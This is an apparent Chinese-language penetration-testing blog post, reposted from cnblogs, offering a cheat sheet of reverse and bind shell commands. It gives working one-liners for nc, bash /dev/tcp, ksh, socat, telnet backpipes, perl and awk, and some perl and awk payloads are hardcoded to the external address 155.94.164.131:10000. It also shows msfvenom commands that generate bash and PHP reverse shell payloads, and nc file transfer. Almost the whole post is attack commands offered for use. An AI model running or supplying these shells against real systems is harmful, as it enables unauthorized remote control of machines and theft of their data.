内网渗透-反弹shell

大年初一,当然是更一篇重磅文章啦

反弹shell

/bin目录下带sh的都是shell

  • nc

    • 1.正向连接,目标机监听自身端口,攻击机主动建立连接

      • 目标机:nc -lvvp 端口 -e /bin/bash (-e cmd.exe)

        • 攻击机:nc -vv 目标IP 监听端口
      • 适用情况:目标机有独立外网ip,攻击机有无都行

    • 2.反向连接,攻击机监听自身端口,目标机主动建立连接

      • 攻击机:nc -lvvp 端口

        • 目标机:nc -vv 攻击机ip 端口 -e /bin/bash
      • 适用情况:攻击机有独立外网ip,目标机在内网,只有一个或多个映射端口

    • 3.聊天/传文件

      • 攻击机:nc -lvvp 端口 < 文件
      • 目标机:nc -vv 攻击机IP 攻击机端口 > 文件
    • 注意:有防火墙会连不上,得找放过的端口

  • bash

    • 攻击机监听:nc -lvvp 端口

      • 目标机:bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

        • 把bash重定向
      • 使用kali下msfvenom生成payload

        • msfvenom -l payloads | grep bash #搜索payload制作命令
        • msfvenom -p cmd/unix/reverse_bash LHOST=攻击机IP LPORT=攻击机端口 #制作payload

          • 目标机运行payload:0<&209-;exec 209<>/dev/tcp/192.168.123.123/12345;sh <&209 >&209 2>&209
          • sh可换成任意一个bash或shell
        • 适用情况:bash -i 被屏蔽,以及nc没有 -e 参数

  • ksh/tsh/zsh/sh

    • 攻击机监听:nc -lvvp 端口
    • 目标机发送

      • ksh -c 'ksh > /dev/tcp/攻击机ip/端口 2>&1
  • socat

    命令最后加个&把进程放到后台
    jobs查看

    • TCP

      • 攻击机监听:socat TCP-LISTEN:端口 -
      • 目标机发送:

        • linux

          • socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:攻击机ip:端口
        • windows

          • socat.exe exec:'cmd.exe',pty,stderr,setsid,sigint,sane tcp:攻击机ip:端口
    • UDP

      • 攻击机监听:socat udp-listen:端口 -
      • 目标机发送:

        • linux

          • socat udp-connect:攻击机ip:端口 exec:'bash -i',pty,stderr,sane 2>&1>/dev/null
        • windows

          • socat.exe udp-connect:攻击机ip:端口 exec:'cmd.exe',pty,stderr,sane
  • telnet

    • mknod backpipe p && telnet 攻击机ip 端口 0<backpipe | /bin/bash 1>backpipe
  • perl

    • 攻击机监听
    • 目标机发送

      • 输入msfvenom生成的payload

        • perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"155.94.164.131:10000");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
  • awk

    • 其他步骤一样,略

      • awk 'BEGIN{s="/inet/tcp/0/155.94.164.131/10000";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
  • ruby

    • 同上
  • python

    • 攻击机监听

      • nc -lvvp 端口
    • 目标机发送

      • 使用msfvenom生成payload
      • 输入payload
  • java

    • 同上
  • php

    • 生成payload保存到文件中
    • msfvenom -p php/reverse_php lhost=攻击机ip lport=端口 - f php -o /路径/shell.php

      • 复制到目标机运行
  • 使用msfvenom

    • msfvenom -l payloads | grep xxx #搜索可利用payload
    • msfvenom -p 要使用的payload生成脚本 lhost=攻击机ip lport=攻击机端口

猜你喜欢

转载自www.cnblogs.com/drac4ry/p/12232753.html